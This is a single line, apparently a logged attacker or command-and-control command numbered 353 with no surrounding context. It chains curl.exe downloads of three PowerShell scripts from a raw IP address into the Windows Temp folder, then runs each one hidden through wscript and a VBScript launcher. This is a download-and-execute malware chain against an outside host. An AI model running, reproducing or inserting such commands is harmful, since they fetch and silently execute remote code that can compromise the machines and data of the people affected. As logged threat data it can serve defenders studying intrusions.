353|curl.exe -s -m 30 -o C:\Windows\Temp\n351.ps1 http://159.223.110.159:5557/n351.ps1 & curl.exe -s -m 30 -o C:\Windows\Temp\n350.ps1 http://159.223.110.159:5557/n350.ps1 & curl.exe -s -m 30 -o C:\Windows\Temp\n352.ps1 http://159.223.110.159:5557/n352.ps1 & wscript //B //Nologo C:\Users\Public\runh.vbs C:\Windows\Temp\n351.ps1 & wscript //B //Nologo C:\Users\Public\runh.vbs C:\Windows\Temp\n350.ps1 & wscript //B //Nologo C:\Users\Public\runh.vbs C:\Windows\Temp\n352.ps1 & echo GC353